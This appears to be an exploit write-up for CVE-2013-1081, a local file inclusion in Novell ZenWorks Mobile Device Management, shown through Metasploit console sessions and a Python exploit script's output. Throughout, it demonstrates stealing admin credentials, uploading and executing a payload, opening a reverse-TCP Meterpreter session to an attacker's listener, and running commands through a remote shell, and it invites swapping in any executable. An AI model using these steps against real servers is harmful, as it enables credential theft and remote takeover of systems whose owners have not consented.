CVE-2013-1081

This script takes advantage of a local file inclusion (lfi) tht exists in the Novell zenworks mobile device management.

Metasploit Modules -

msf > use auxiliary/scanner/http/novell_mdm_creds msf auxiliary(novell_mdm_creds) > show options

Module options (auxiliary/scanner/http/novell_mdm_creds):

Name Current Setting Required Description

---

Proxies no Use a proxy chain RHOSTS yes The target address range or CIDR identifier RPORT 80 yes Default remote port TARGETURI / yes Path to the Novell Zenworks MDM install THREADS 1 yes The number of concurrent threads VHOST no HTTP server virtual host

msf auxiliary(novell_mdm_creds) > set rhosts 192.168.20.133 rhosts => 192.168.20.133 msf auxiliary(novell_mdm_creds) > run

[] Verifying that Zenworks login page exists at 192.168.20.133 [] Found Zenworks MDM, Checking application version [] Found Version 2.6.0 [+] Got creds. Login:Admin1 Password:password1 [+] Access the admin interface here: 192.168.20.133:80/dashboard/ [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

msf > use exploit/windows/http/novell_mdm_lfi

msf exploit(novell_mdm_lfi) > show options

Module options (exploit/windows/http/novell_mdm_lfi):

Name Current Setting Required Description

---

Proxies no Use a proxy chain RHOST 192.168.20.133 yes The target address RPORT 80 yes Default remote port TARGETURI / yes Path to the Novell Zenworks MDM install VHOST no HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

---

EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 192.168.20.131 yes The listen address LPORT 4444 yes The listen port

msf exploit(novell_mdm_lfi) > exploit

[] Started reverse handler on 192.168.20.131:4444 [] Found Zenworks MDM, Checking application version [] Found Version 2.6.0 [] Setting up poisoned session [] Uploading payload [] Executing payload [] Sending stage (751104 bytes) to 192.168.20.133 [] Meterpreter session 1 opened (192.168.20.131:4444 -> 192.168.20.133:4725) at 2013-06-04 09:39:20 -0700

meterpreter >

Python script -

The "cmd.exe" included is from win2k3 - mileage may vary on different targets. The current 'shell' is janky as hell, should be easy enough to replace the uploaded executable with whatever is desired :)

Example execution:

python sploit.py http://192.168.20.133
[] Session Poisoned, Retrieving Creds. [+] Credentials User: Admin1 Password: password1 [!] Log into the administrative interface at: http://192.168.20.133/dashboard/ [] Staging exe to run [*] Dropping to shell, type 'exit' to quit. #:net user user_agent|s:34:" User accounts for \STEPONEQ-1B78B2

---

Administrator Guest IUSR_STEPONEQ-1B78B2
IWAM_STEPONEQ-1B78B2 SUPPORT_388945a0
The command completed successfully.

";$error|s:12:"Login Failed"; #:ipconfig user_agent|s:34:" Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 192.168.20.133 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.2

";$error|s:12:"Login Failed";